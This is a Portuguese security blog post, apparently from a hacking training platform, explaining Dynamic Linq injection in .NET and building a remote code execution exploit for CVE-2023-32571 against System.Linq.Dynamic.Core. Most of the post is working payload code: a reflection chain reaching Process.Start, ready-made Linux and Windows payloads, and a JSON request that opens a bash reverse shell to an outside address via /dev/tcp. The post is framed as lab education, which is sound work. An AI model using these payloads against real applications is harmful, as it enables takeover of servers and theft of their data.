O Blindspot do C#

O Blindspot do C#

Nesse post, abordaremos sobre Dynamic Linq injection e como obter um RCE em aplicaçõs .net core explorando essa vulnerabilidade.

O que é o Dynamic Linq?

O Dynamic Linq (System.Linq.Dynamic.Core) é uma biblioteca do .NET que facilita a consulta de dados em arrays, listas, entre outros. Com ela, podemos executar queries semelhantes ao SQL, permitindo a busca de dados nos arrays com facilidade.

O que é Dynamic Linq injection?

O Dynamic Linq injection é uma vulnerabilidade que permite que um atacante injete queries Linq, obtendo assim dados aos quais não deveria ter acesso.

Observe que o código abaixo concatena o input do usuário diretamente na query Linq:

Ao acessar o endpoint, é possível realizar pesquisa na lista de produtos:

Inserindo pple") || 1=1 || Name.Contains(" , conseguimos injetar query Linq:

Observe que foram retornados todos os produtos da lista.

O Linq injection não ocorre apenas quando concatenamos o input do usuário em uma query do tipo "Where". Algumas aplicações inserem o input do usuário diretamente na função OrderBy, como na imagem abaixo:

Inserindo Name no parêmetro "field", realizamos um orderBy pelo campo "Name". No entanto, se inserirmos Name descending percebemos que a aplicação entende nossa query:

Dynamic Linq injection to RCE

Em 13 de junho de 2023, a NCC Group conduziu uma pesquisa na biblioteca System.Linq.Dynamic.Core e descobriu uma maneira de invocar métodos da aplicação por meio da query do Dynamic Linq.

Ao permitir a chamada métodos,  tornou-se possível  utilizar a System.Diagnostics.Process para executar comandos no sistema. Diante disso, a NCC Group reportou uma CVE (CVE-2023-32571) classificada como crítica, pois permite RCE.

Um artigo foi publicado no dia 13 de junho explicando como explorar a vulnerabilidade, embora não detalhe o processo de como chegaram nesta vulnerabilidade, e nem como era possível executar comandos remotamente na aplicação.

Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)
Product Details NameSystem.Linq.Dynamic.CoreAffected versions1.0.7.10 to 1.2.25Fixed versions>= 1.3.0URL Vulnerability Summary CVECVE-2023-32571CWECWE-184: Incomplete List of Disallowed InputsCV…

Após algumas horas de pesquisa,  observamos que não há nenhuma POC disponível para essa vulnerabilidade, então decidimos estudar com profundidade a vulnerabilidade para criar uma payload que permite RCE.

Criando payload

Conforme destacado no artigo da NCC Group, temos a capacidade de invocar métodos da aplicação, então nosso foco é chegar ao método System.Diagnostics.Process.Start, assim podemos executar comandos no sistema.

A forma de chamar os métodos da aplicação é por meio das subclasses da classe "String". Infelizmente, não é possível invocar a System.Diagnostics.Process diretamente, uma vez que não está entre as subclasses da classe 'String'.

Após algumas pesquisas, encontramos uma payload de 2016 que explorava RCE no Dynamic Linq. Embora esteja totalmente desatualizada, essa descoberta foi bastante útil na criação da payload.

Linq Injection – From Attacking Filters to Code Execution
Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It’s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in a…

Ao estudar essa payload, observamos que ela utilizava o método System.AppDomain.CreateInstanceAndUnwrap para invocar um método através de seu assembly. Com isso, podemos utilizá-la para invocar a System.Diagnostics.Process

A Payload abaixo invoca o método System.AppDomain.CreateInstanceAndUnwrap:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke()

Observe que acessamos os "DefinedTypes" (subclasses) da classe String. Entre eles, temos o "System.AppDomain", cujo o "Name" é apenas "AppDomain". Listando os "DeclaredMethods" conseguimos chegar ao método "CreateInstanceAndUnwrap".

Com acesso ao método "CreateInstanceAndUnwrap", podemos invocá-lo e utilizá-lo para chegarmos na classe System.Diagnostics.Process.

A Payload abaixo invoca o método System.AppDomain.CreateInstanceAndUnwrap e chama a classe System.Diagnostics.Process:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
A payload é extensa mas com calma e foco conseguimos entende-la.

Observe que a estrutura do método Invoke é essa:

Se vamos utilizar o .Invoke() no método CreateInstanceAndUnwrap, precisamos fornecer 2 parâmetros:

  • A instancia do objeto onde está o método, no caso: System.AppDomain
  • Um array de parâmetros que será passado para o método "CreateInstanceAndUnwrap"

Para obtermos a instância da classe "System.AppDomain" temos que acessar o valor da propriedade "CurrentDomain", pois o valor dela é a instância da própria classe. Para isso, utilizamos esse trecho de código:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null)

Agora precisamos fornecer o segundo parâmetro para a função .Invoke(). O segundo parâmetro será um array de parâmetros que serão fornecidos para o método CreateInstanceAndUnwrap.

O método CreateInstanceAndUnwrap requer 2 parâmetros:

  • O assemblyName da classe que queremos chamar
  • O nome da classe que queremos chamar

Ou seja, precisamos fornecer um array para o Invoke() com duas strings, uma com o assemblyName, e a outro com o nome da classe que queremos chamar. Para isso, utilizamos esse trecho de código:

"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())

Observe que passamos apenas uma string, e utilizamos a função "Split" para dividir a string entre o ";" transformado-a em um array. O array resultante seria:

["System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089", "System.Diagnostics.Process"]

Entendido todo o fluxo, analise a payload abaixo novamente para melhor entendimento:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Essa payload retorna a instância da classe "System.Diagnostics.Process".

Com isso, podemos acessar a lista de métodos da classe "Process" e chamar o método "Start" que é responsável por executar comandos no sistema operacional:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last()

Veja que acessamos os "DefinedTypes" e chamamos a própria classe (Process).

Acessando os "DeclaredMethods", é possível chamar o método "Start" e na payload, utilizamos .Take(3).Last(). Isso foi utilizado para chegar no método "Start" correto, pois por algum motivo, na lista de métodos da classe "System.Diagnostics.Process" tinham vários métodos com o nome "Start", e o que precisamos é o terceiro da lista.

Com acesso ao método Start podemos utilizar o Invoke para invocar o método e passar os parâmetros necessários para a execução de comandos.

Como o método Start é estático, não é necessário fornecer a instância da classe System.Diagnostics.Process para o método Invoke.

A Payload abaixo invoca o método Start e executa comandos no sistema:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "/bin/bash;-c id".Split(";".ToCharArray()))

Veja que passamos "null" como primeiro parâmetro para oInvoke, não é necessário fornecer a instância do objeto para um método estático.

Analisando a estrutura da função System.Diagnostics.Process.Start, vemos que ela necessita de 2 argumentos:

  • Filename: Binário que será executado
  • Arguments: Argumentos que serão passados para o filename

Como segundo parâmetro pra função Invoke passamos a string: "/bin/bash;-c id", porém utilizamos a função "Split" no ";" para separar a string e transformar em array. O array resultante será:

["/bin/bash", "-c id"]

Assim, o comando que será executado é:

/bin/bash -c "id"

Payload final para Linux

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Payload final para Windows

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Obtendo RCE através do Dynamic Linq injection

Voltando na aplicação onde exploramos o Dynamic Linq injection, podemos obter RCE enviando a payload que criamos:

{
"name": "pple\") || \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/80 0>&1\\\"\".Split(\";\".ToCharArray())).ToString() == \"\" || Name.Contains(\""
}

Veja que no final da payload foi necessário colocar ".ToString()" e fazer uma comparação, pois estamos utilizando o operador "||" para fazer a injeção na query Linq, e isso requer um resultado booleano.

Sem a comparação de strings, a aplicação retorna o seguinte erro:

Então, se transformarmos o objeto em String e fazermos uma comparação, conseguimos um valor booleano.

Enviando payload e recebendo reverse shell:

Explorando no endpoint de orderBy

No endpoint onde temos controle no orderBy, basta inserir a payload sem nenhuma modificação, com isso,  conseguimos explorar e obter uma reverse shell:

Laboratório utilizado

blog/chall-dynamic-linq-injection-to-rce at main · crowsec-edtech/blog
Repository for labs of the crowsec blog. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

Referências

Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)
Product Details NameSystem.Linq.Dynamic.CoreAffected versions1.0.7.10 to 1.2.25Fixed versions>= 1.3.0URL Vulnerability Summary CVECVE-2023-32571CWECWE-184: Incomplete List of Disallowed InputsCV…
Linq Injection – From Attacking Filters to Code Execution
Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It’s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in a…
Process.Start Method (System.Diagnostics)
Starts a process resource and associates it with a Process component.
MethodBase.Invoke Method (System.Reflection)
Invokes the method or constructor reflected by this MethodInfo instance.
AppDomain.CreateInstanceAndUnwrap Method (System)
Creates a new instance of a specified type.

Sobre o Hacking Club

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 140 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking. Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!